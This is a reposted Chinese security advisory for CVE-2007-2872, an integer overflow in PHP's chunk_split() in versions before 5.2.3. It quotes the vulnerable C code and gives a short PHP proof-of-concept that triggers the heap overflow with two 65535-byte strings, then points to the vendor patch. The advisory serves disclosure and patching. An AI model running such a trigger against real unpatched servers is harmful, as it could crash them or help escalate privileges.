PHP5.2下chunk_split()函数整数溢出漏洞 分析

2015-01-24信息快讯网
受影响系统:
PHP PHP < 5.2.3
不受影响系统:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872

PHP是一种流行的WEB服务器端编程语言。

PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。

PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }

<*来源:Gerhard Wagner

链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php#v5

文章来自: 绿盟科技
php csv操作类代码
PHP开发过程中常用函数收藏
将文件夹压缩成zip文件的php代码
php入门教程 精简版
php实现的仿阿里巴巴实现同类产品翻页
php session_start()关于Cannot send session cache limiter - headers already sent错误解决方法
php Memcache 中实现消息队列
php pack与unpack 摸板字符字符含义
php foreach、while性能比较
用mysql触发器自动更新memcache的实现代码
php面向对象全攻略 (六)__set() __get() __isset() __unset()的用法
PHP 内存缓存加速功能memcached安装与用法
PHP has encountered an Access Violation at 7C94BD02解决方法
PHP PDO函数库(PDO Functions)第1/2页
php ignore_user_abort与register_shutdown_function 使用方法
php下HTTP Response中的Chunked编码实现方法
discuz安全提问算法
phpMyAdmin下载、安装和使用入门教程
[php] 我的微型论坛的简单教程[已完成]第1/8页
测试您的 PHP 水平的题目
Win2003下IIS+PHP+MySQL+Zend配置步骤详解第1/2页
不错的PHP学习之php4与php5之间会穿梭一点点感悟
Windows下IIS6/Apache2.2.4+MySQL5.2+PHP5.2.1安装配置方法
解决php中Cannot send session cache limiter 的问题的方法
escape unescape的php下的实现方法
给apache2.2加上mod_encoding模块後 php5.2.0 处理url出现bug
php环境配置 php5 MySQL5 apache2 phpmyadmin安装与配置图文教程
使用apache模块rewrite_module (转)
PHP has encountered an Access Violation
function.inc.php超越php
弄了个检测传输的参数是否为数字的Function
怎样在UNIX系统下安装php3
©2014-2024 dbsqp.com